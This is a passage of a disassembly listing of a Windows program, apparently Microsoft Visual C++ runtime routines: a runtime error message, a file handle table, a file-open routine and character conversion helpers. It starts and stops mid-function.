		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A2F4, 1
		jz	loc_4236F3

loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 26802A6h
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h

loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C10 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43C98C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------

loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43C98C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 26307C8h
		push	eax
		call	near ptr 2700000h
		nop

loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DC600

loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]

loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------

loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB

loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DC700
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------

loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DC700, 20h
		lea	ecx, ds:4DC600h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax

loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------

loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi

loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC700
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC600h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A2F4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------

loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------

loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h

loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		nop
		call	near ptr 2620C9Eh

loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------

loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9
		or	eax, 0FFFFFFFFh

loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DC700
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DC600h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A2F4, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------

loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------

loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h

loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		nop
		call	near ptr 2620C9Eh

loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------

loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9
		or	eax, 0FFFFFFFFh

loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC700
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC600[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------

loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC700
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DC600[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		call	near ptr 262085Dh
		nop
		test	eax, eax
		jnz	short loc_42391D
		nop
		call	near ptr 2690DF2h
		jmp	short loc_42391F
; ---------------------------------------------------------------------------

loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax

loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB2AC, eax

loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB2A8, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DC5E0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------

loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi

loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DC5E0, eax

loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DB5C8, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DC5E0, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DB5C8, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx

loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43CA18

loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DB5C8
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43CC98
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43CA28

loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DC600[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD

loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh

loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43CA88
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB2E8, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DB490
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------

loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------

loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1

loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DB5A0, eax
		jz	short loc_423A7E

loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h

loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4

loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB2A8, 16h
		mov	dword_4DB2AC, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------

loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------

loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------

loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h

loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx

loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------

loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1

loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB2B0
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi

loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1

loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi

loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------

loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h

loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------

loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 271099Eh
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		call	near ptr 2670909h
		nop

loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		call	near ptr 2690DF2h
		nop
		push	eax
		call	sub_4203DF
		pop	ecx

loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------

loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------

loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8

loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DC600h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB2AC, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------

loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2

loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE

loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx

loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------

loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]

loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx

loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C50
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB498
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 2610514h
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------

loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE5C
		push	esi
		push	ebx
		call	near ptr 2620000h
		nop
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax

loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DB498, eax

loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DB364

loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2620000h
		nop
		jmp	loc_423E23
; ---------------------------------------------------------------------------

loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DB374
		mov	[ebp+arg_10], eax

loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2830000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi

loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2830000h
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 2610514h
		jmp	short loc_423E23
; ---------------------------------------------------------------------------

loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax

loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC700
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC600[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DB364, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43C534
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DB374
		call	near ptr 2821136h
		nop
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1

loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB2A8, 2Ah
		or	eax, 0FFFFFFFFh

loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx

loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax

loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DB364, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax

loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------

loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C328
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43C534
